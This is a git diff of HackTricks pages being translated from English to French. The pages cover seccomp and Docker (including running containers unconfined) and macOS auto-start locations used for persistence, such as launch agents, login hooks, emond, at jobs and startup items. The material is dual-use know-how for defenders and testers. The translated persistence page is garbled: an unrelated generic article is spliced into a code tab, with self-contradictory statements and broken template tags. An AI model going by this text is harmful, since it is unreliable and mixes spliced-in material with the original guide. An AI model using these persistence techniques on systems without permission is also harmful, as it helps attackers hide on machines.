- - -# Basic Information - -**Seccomp **or Secure Computing mode, in summary, is a feature of Linux kernel which can act as **syscall filter**.\ -Seccomp has 2 modes. - -**seccomp** (short for **secure computing mode**) is a computer security facility in the **Linux** **kernel**. seccomp allows a process to make a one-way transition into a "secure" state where **it cannot make any system calls except** `exit()`, `sigreturn()`, `read()` and `write()` to **already-open** file descriptors. Should it attempt any other system calls, the **kernel** will **terminate** the **process** with SIGKILL or SIGSYS. In this sense, it does not virtualize the system's resources but isolates the process from them entirely. - -seccomp mode is **enabled via the `prctl(2)` system call** using the `PR_SET_SECCOMP` argument, or (since Linux kernel 3.17) via the `seccomp(2)` system call. seccomp mode used to be enabled by writing to a file, `/proc/self/seccomp`, but this method was removed in favor of `prctl()`. In some kernel versions, seccomp disables the `RDTSC` x86 instruction, which returns the number of elapsed processor cycles since power-on, used for high-precision timing. - -**seccomp-bpf** is an extension to seccomp that allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. It is used by OpenSSH and vsftpd as well as the Google Chrome/Chromium web browsers on Chrome OS and Linux. (In this regard seccomp-bpf achieves similar functionality, but with more flexibility and higher performance, to the older systrace—which seems to be no longer supported for Linux.) - -## **Original/Strict Mode** - -In this mode** **Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL +Dans ce mode, **Seccomp ne permet que les appels système** `exit()`, `sigreturn()`, `read()` et `write()` aux descripteurs de fichiers déjà ouverts. Si un autre appel système est effectué, le processus est tué en utilisant SIGKILL. {% code title="seccomp_strict.c" %} ```c @@ -64,11 +45,9 @@ int main(int argc, char **argv) printf("You will not see this message--the process will be killed first\n"); } ``` -{% endcode %} - ## Seccomp-bpf -This mode allows f**iltering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules. +Ce mode permet de filtrer les appels système à l'aide d'une politique configurable implémentée à l'aide de règles Berkeley Packet Filter. {% code title="seccomp_bpf.c" %} ```c @@ -120,49 +99,26 @@ void main(void) { ``` {% endcode %} -# Seccomp in Docker - -**Seccomp-bpf** is supported by **Docker **to restrict the **syscalls **from the containers effectively decreasing the surface area. You can find the **syscalls blocked **by **default **in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile **can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ -You can run a docker container with a **different seccomp** policy with: +# Seccomp dans Docker +**Seccomp-bpf** est pris en charge par **Docker** pour restreindre les **appels système** des conteneurs, réduisant ainsi efficacement la surface d'attaque. Vous pouvez trouver les **appels système bloqués** par **défaut** dans [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) et le **profil seccomp par défaut** peut être trouvé ici [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\ +Vous pouvez exécuter un conteneur Docker avec une **politique seccomp différente** avec: ```bash docker run --rm \ -it \ --security-opt seccomp=/path/to/seccomp/profile.json \ hello-world ``` - -If you want for example to **forbid **a container of executing some **syscall **like` uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\ -If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\ -In the following example the **syscalls **of `uname` are discovered: - +Si vous voulez par exemple **interdire** à un conteneur d'exécuter certains **appels système** tels que `uname`, vous pouvez télécharger le profil par défaut depuis [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) et simplement **supprimer la chaîne `uname` de la liste**.\ +Si vous voulez vous assurer qu'**un binaire ne fonctionne pas à l'intérieur d'un conteneur Docker**, vous pouvez utiliser strace pour lister les appels système utilisés par le binaire, puis les interdire.\ +Dans l'exemple suivant, les **appels système** de `uname` sont découverts: ```bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` - {% hint style="info" %} -If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs +Si vous utilisez **Docker uniquement pour lancer une application**, vous pouvez **profil**er avec **`strace`** et **autoriser uniquement les appels système** dont elle a besoin. {% endhint %} -## Deactivate it in Docker - -Launch a container with the flag: **`--security-opt seccomp=unconfined`** - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +## Désactiver seccomp dans Docker +Lancez un conteneur avec le flag : **`--security-opt seccomp=unconfined`** diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index 4777e81fd..6bc3ca8b8 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -1,32 +1,31 @@ -# macOS Auto Start Locations +# Emplacements de démarrage automatique de macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Here are locations on the system that could lead to the **execution** of a binary **without** **user** **interaction**. +Voici les emplacements sur le système qui pourraient conduire à l'**exécution** d'un binaire **sans** **interaction** **utilisateur**. ### Launchd -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: +**`launchd`** est le **premier** **processus** exécuté par le noyau OX S au démarrage et le dernier à se terminer à l'arrêt. Il doit toujours avoir le **PID 1**. Ce processus **lira et exécutera** les configurations indiquées dans les **plists ASEP** dans : -* `/Library/LaunchAgents`: Per-user agents installed by the admin -* `/Library/LaunchDaemons`: System-wide daemons installed by the admin -* `/System/Library/LaunchAgents`: Per-user agents provided by Apple. -* `/System/Library/LaunchDaemons`: System-wide daemons provided by Apple. +* `/Library/LaunchAgents` : Agents par utilisateur installés par l'administrateur +* `/Library/LaunchDaemons` : Daemons système installés par l'administrateur +* `/System/Library/LaunchAgents` : Agents par utilisateur fournis par Apple. +* `/System/Library/LaunchDaemons` : Daemons système fournis par Apple. -When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. - -The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. +Lorsqu'un utilisateur se connecte, les plists situés dans `/Users/$USER/Library/LaunchAgents` et `/Users/$USER/Library/LaunchDemons` sont démarrés avec les **permissions des utilisateurs connectés**. +La **principale différence entre les agents et les daemons est que les agents sont chargés lorsque l'utilisateur se connecte et les daemons sont chargés au démarrage du système** (car il y a des services comme ssh qui doivent être exécutés avant que tout utilisateur n'accède au système). Les agents peuvent également utiliser l'interface graphique tandis que les daemons doivent s'exécuter en arrière-plan. ```xml @@ -49,58 +48,48 @@ The **main difference between agents and daemons is that agents are loaded when ``` +Il y a des cas où un **agent doit être exécuté avant que l'utilisateur ne se connecte**, ceux-ci sont appelés **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance à la connexion. Ils peuvent également être trouvés dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple). -There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). +\{% hint style="info" %\} Les nouveaux fichiers de configuration de Daemons ou Agents seront **chargés après le prochain redémarrage ou en utilisant** `launchctl load ` Il est **également possible de charger des fichiers .plist sans cette extension** avec `launchctl -F ` (cependant, ces fichiers plist ne seront pas automatiquement chargés après le redémarrage).\ +Il est également possible de **décharger** avec `launchctl unload ` (le processus pointé par celui-ci sera terminé), -\{% hint style="info" %\} New Daemons or Agents config files will be **loaded after next reboot or using** `launchctl load ` It's **also possible to load .plist files without that extension** with `launchctl -F ` (however those plist files won't be automatically loaded after reboot).\ -It's also possible to **unload** with `launchctl unload ` (the process pointed by it will be terminated), - -To **ensure** that there isn't **anything** (like an override) **preventing** an **Agent** or **Daemon** **from** **running** run: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` \{% endhint %\} - -List all the agents and daemons loaded by the current user: +Pour **s'assurer** qu'il n'y a **rien** (comme une substitution) **empêchant** un **Agent** ou un **Daemon** **de** **s'exécuter**, exécutez : `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` \{% endhint %\} +Listez tous les agents et démons chargés par l'utilisateur actuel : ```bash launchctl list ``` - ### Cron -List the cron jobs of the **current user** with: - +Listez les tâches cron de l'**utilisateur actuel** avec: ```bash crontab -l ``` +Vous pouvez également voir toutes les tâches cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite des privilèges root). -You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). - -In MacOS several folders executing scripts with **certain frequency** can be found in: - +Dans MacOS, plusieurs dossiers exécutant des scripts avec **une certaine fréquence** peuvent être trouvés dans: ```bash ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` +Vous pouvez trouver les tâches **cron** régulières, les tâches **at** (peu utilisées) et les tâches **périodiques** (principalement utilisées pour nettoyer les fichiers temporaires). Les tâches périodiques quotidiennes peuvent être exécutées par exemple avec: `periodic daily`. -There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. - -The periodic scripts (**`/etc/periodic`**) are executed because of the **launch daemons** configured in `/System/Library/LaunchDaemons/com.apple.periodic*`. Note that if a script is stored in `/etc/periodic/` as a way to **escalate privilege**s, it will be **executed** as the **owner of the file**. - +Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **daemons de lancement** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que si un script est stocké dans `/etc/periodic/` comme moyen d'**escalader les privilèges**, il sera **exécuté** en tant que **propriétaire du fichier**. ```bash ls -l /System/Library/LaunchDaemons/com.apple.periodic* -rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist -rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist -rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist ``` - ### kext -In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: +Afin d'installer un KEXT en tant qu'élément de démarrage, il doit être **installé dans l'un des emplacements suivants** : * `/System/Library/Extensions` - * KEXT files built into the OS X operating system. + * Fichiers KEXT intégrés au système d'exploitation OS X. * `/Library/Extensions` - * KEXT files installed by 3rd party software - -You can list currently loaded kext files with: + * Fichiers KEXT installés par des logiciels tiers. +Vous pouvez lister les fichiers kext actuellement chargés avec : ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -108,14 +97,12 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` +Pour plus d'informations sur les [**extensions de noyau, consultez cette section**](macos-security-and-privilege-escalation/mac-os-architecture#i-o-kit-drivers). -For more information about [**kernel extensions check this section**](macos-security-and-privilege-escalation/mac-os-architecture#i-o-kit-drivers). - -### **Login Items** - -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ -It it's possible to list them, add and remove from the command line: +### **Éléments de connexion** +Dans Préférences Système -> Utilisateurs et groupes -> **Éléments de connexion**, vous pouvez trouver les **éléments à exécuter lorsque l'utilisateur se connecte**.\ +Il est possible de les lister, d'en ajouter et d'en supprimer depuis la ligne de commande : ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -126,32 +113,26 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` - -These items are stored in the file /Users/\/Library/Application Support/com.apple.backgroundtaskmanagementagent +Ces éléments sont stockés dans le fichier /Users/\/Library/Application Support/com.apple.backgroundtaskmanagementagent ### At -“At tasks” are used to **schedule tasks at specific times**.\ -These tasks differ from cron in that **they are one time tasks** t**hat get removed after executing**. However, they will **survive a system restart** so they can’t be ruled out as a potential threat. - -By **default** they are **disabled** but the **root** user can **enable** **them** with: +Les "tâches At" sont utilisées pour **planifier des tâches à des moments spécifiques**.\ +Ces tâches diffèrent de cron en ce qu'elles sont des tâches ponctuelles qui sont supprimées après leur exécution. Cependant, elles **survivent à un redémarrage du système** et ne peuvent donc pas être exclues en tant que menace potentielle. +Par **défaut**, elles sont **désactivées**, mais l'utilisateur **root** peut les **activer** avec: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` - -This will create a file at 13:37: - +Cela créera un fichier à 13h37 : ```bash echo hello > /tmp/hello | at 1337 ``` +Si les tâches AT ne sont pas activées, les tâches créées ne seront pas exécutées. -If AT tasks aren't enabled the created tasks won't be executed. - -### Login/Logout Hooks - -They are deprecated but can be used to execute commands when a user logs in. +### Hooks de connexion/déconnexion +Ils sont obsolètes mais peuvent être utilisés pour exécuter des commandes lorsqu'un utilisateur se connecte. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -160,9 +141,7 @@ EOF chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh ``` - -This setting is stored in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` - +Cette configuration est stockée dans `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { @@ -173,41 +152,35 @@ defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist oneTimeSSMigrationComplete = 1; } ``` - -To delete it: - +Pour le supprimer : ```bash defaults delete com.apple.loginwindow LoginHook ``` +Dans l'exemple précédent, nous avons créé et supprimé un **LoginHook**, il est également possible de créer un **LogoutHook**. -In the previous example we have created and deleted a **LoginHook**, it's also possible to create a **LogoutHook**. - -The root user one is stored in `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` +Celui de l'utilisateur root est stocké dans `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` ### Emond -Apple introduced a logging mechanism called **emond**. It appears it was never fully developed, and development may have been **abandoned** by Apple for other mechanisms, but it remains **available**. - -This little-known service may **not be much use to a Mac admin**, but to a threat actor one very good reason would be to use it as a **persistence mechanism that most macOS admins probably wouldn't know** to look for. Detecting malicious use of emond shouldn't be difficult, as the System LaunchDaemon for the service looks for scripts to run in only one place: +Apple a introduit un mécanisme de journalisation appelé **emond**. Il semble qu'il n'ait jamais été entièrement développé et que le développement ait été **abandonné** par Apple au profit d'autres mécanismes, mais il reste **disponible**. +Ce service peu connu peut **ne pas être très utile pour un administrateur Mac**, mais pour un acteur de menace, une très bonne raison serait de l'utiliser comme un mécanisme de **persistance que la plupart des administrateurs macOS ne connaissent probablement pas**. Détecter l'utilisation malveillante d'emond ne devrait pas être difficile, car le System LaunchDaemon du service ne recherche des scripts à exécuter qu'à un seul endroit : ```bash ls -l /private/var/db/emondClients ``` - {% hint style="danger" %} -**As this isn't used much, anything in that folder should be suspicious** +**Comme cela n'est pas beaucoup utilisé, tout ce qui se trouve dans ce dossier doit être considéré comme suspect** {% endhint %} -### Startup Items +### Éléments de démarrage -\{% hint style="danger" %\} **This is deprecated, so nothing should be found in the following directories.** \{% endhint %\} +\{% hint style="danger" %\} **Ceci est obsolète, donc rien ne devrait être trouvé dans les répertoires suivants.** \{% endhint %\} -A **StartupItem** is a **directory** that gets **placed** in one of these two folders. `/Library/StartupItems/` or `/System/Library/StartupItems/` +Un **élément de démarrage** est un **répertoire** qui est **placé** dans l'un de ces deux dossiers : `/Library/StartupItems/` ou `/System/Library/StartupItems/` -After placing a new directory in one of these two locations, **two more items** need to be placed inside that directory. These two items are a **rc script** **and a plist** that holds a few settings. This plist must be called “**StartupParameters.plist**”. - -{% tabs %} -{% tab title="StartupParameters.plist" %} +Après avoir placé un nouveau répertoire dans l'un de ces deux emplacements, **deux autres éléments** doivent être placés à l'intérieur de ce répertoire. Ces deux éléments sont un **script rc** et un **plist** qui contient quelques paramètres. Ce plist doit être appelé "**StartupParameters.plist**". +{% endtab %} +{% tab title="StartupParameters.plist" %\} ```xml @@ -227,6 +200,80 @@ After placing a new directory in one of these two locations, **two more items** {% endtab %} {% tab title="superservicename" %} + +## Emplacement de démarrage automatique de macOS + +### Emplacements de démarrage automatique + +Les emplacements de démarrage automatique de macOS sont les suivants: + +* `/Library/LaunchAgents/` +* `/Library/LaunchDaemons/` +* `/System/Library/LaunchAgents/` +* `/System/Library/LaunchDaemons/` +* `~/Library/LaunchAgents/` + +Les deux premiers emplacements sont utilisés pour les services système, tandis que les deux derniers sont utilisés pour les services utilisateur. + +### Comment fonctionnent les emplacements de démarrage automatique + +Les emplacements de démarrage automatique contiennent des fichiers de configuration de service qui indiquent à macOS comment démarrer et gérer les services. Les fichiers de configuration peuvent être écrits en XML ou en format binaire. + +Les fichiers de configuration de service peuvent être utilisés pour démarrer des programmes, des scripts ou des commandes au démarrage de macOS ou lorsqu'un utilisateur se connecte. + +### Comment trouver les emplacements de démarrage automatique + +Pour trouver les emplacements de démarrage automatique, vous pouvez utiliser la commande `launchctl`. Par exemple, pour lister tous les services en cours d'exécution, vous pouvez utiliser la commande suivante: + +```bash +sudo launchctl list +``` + +Pour lister tous les services dans un emplacement de démarrage automatique spécifique, vous pouvez utiliser la commande suivante: + +```bash +sudo launchctl list +``` + +### Comment désactiver les services de démarrage automatique + +Pour désactiver un service de démarrage automatique, vous pouvez utiliser la commande `launchctl`. Par exemple, pour désactiver le service `com.apple.AirPlayXPCHelper`, vous pouvez utiliser la commande suivante: + +```bash +sudo launchctl unload -w /System/Library/LaunchAgents/com.apple.AirPlayXPCHelper.plist +``` + +### Comment ajouter un service de démarrage automatique + +Pour ajouter un service de démarrage automatique, vous devez créer un fichier de configuration de service dans l'un des emplacements de démarrage automatique et y ajouter les informations de configuration appropriées. Par exemple, pour créer un service de démarrage automatique qui exécute un script Python au démarrage de macOS, vous pouvez créer un fichier `com.example.myservice.plist` dans le dossier `~/Library/LaunchAgents/` avec le contenu suivant: + +```xml + + + + + Label + com.example.myservice + ProgramArguments + + /usr/bin/python + /path/to/myscript.py + + RunAtLoad + + + +``` + +Une fois que vous avez créé le fichier de configuration de service, vous pouvez charger le service en utilisant la commande `launchctl`. Par exemple, pour charger le service `com.example.myservice`, vous pouvez utiliser la commande suivante: + +```bash +launchctl load ~/Library/LaunchAgents/com.example.myservice.plist +``` + +### Conclusion + +Les emplacements de démarrage automatique de macOS sont un moyen pratique de démarrer des services au démarrage de macOS ou lorsqu'un utilisateur se connecte. En comprenant comment fonctionnent les emplacements de démarrage automatique et comment les utiliser, vous pouvez personnaliser le comportement de macOS pour répondre à vos besoins. ```bash #!/bin/sh . /etc/rc.common @@ -251,11 +298,10 @@ RunService "$1" ### /etc/rc.common {% hint style="danger" %} -**This isn't working in modern MacOS versions** +**Cela ne fonctionne pas dans les versions modernes de MacOS** {% endhint %} -It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: - +Il est également possible de placer ici **des commandes qui seront exécutées au démarrage.** Exemple de script rc.common régulier : ```bash # # Common setup for startup scripts. @@ -348,18 +394,15 @@ RunService () esac } ``` +### Profils -### Profiles - -Configuration profiles can force a user to use certain browser settings, DNS proxy settings, or VPN settings. Many other payloads are possible which make them ripe for abuse. - -You can enumerate them running: +Les profils de configuration peuvent forcer un utilisateur à utiliser certains paramètres de navigateur, des paramètres de proxy DNS ou des paramètres VPN. De nombreux autres payloads sont possibles, ce qui les rend propices à l'abus. +Vous pouvez les énumérer en exécutant: ```bash ls -Rl /Library/Managed\ Preferences/ ``` - -### Other persistence techniques and tools +### Autres techniques et outils de persistance * [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) * [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) @@ -368,10 +411,10 @@ ls -Rl /Library/Managed\ Preferences/ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md index 77934e566..c548dccca 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,38 +1,38 @@ -# macOS Security & Privilege Escalation +# Sécurité et élévation de privilèges sur macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels de bugs web3 -🔔 Get notified about new bug bounties +🔔 Soyez informé des nouveaux programmes de primes pour bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté -## Basic MacOS +## Base de MacOS -If you are not familiar with macOS, you should start learning the basics of macOS: +Si vous n'êtes pas familier avec macOS, vous devriez commencer par apprendre les bases de macOS : -* Special macOS **files & permissions:** +* Fichiers et autorisations spéciaux de **macOS** : {% content-ref url="macos-files-folders-and-binaries/" %} [macos-files-folders-and-binaries](macos-files-folders-and-binaries/) {% endcontent-ref %} -* Common macOS **users** +* Utilisateurs courants de **macOS** {% content-ref url="macos-users.md" %} [macos-users.md](macos-users.md) @@ -44,13 +44,13 @@ If you are not familiar with macOS, you should start learning the basics of macO [macos-applefs.md](macos-applefs.md) {% endcontent-ref %} -* The **architecture** of the k**ernel** +* L'**architecture** du **noyau** de Mac {% content-ref url="mac-os-architecture/" %} [mac-os-architecture](mac-os-architecture/) {% endcontent-ref %} -* Common macOS n**etwork services & protocols** +* Services et protocoles réseau courants de **macOS** {% content-ref url="macos-protocols.md" %} [macos-protocols.md](macos-protocols.md) @@ -58,66 +58,66 @@ If you are not 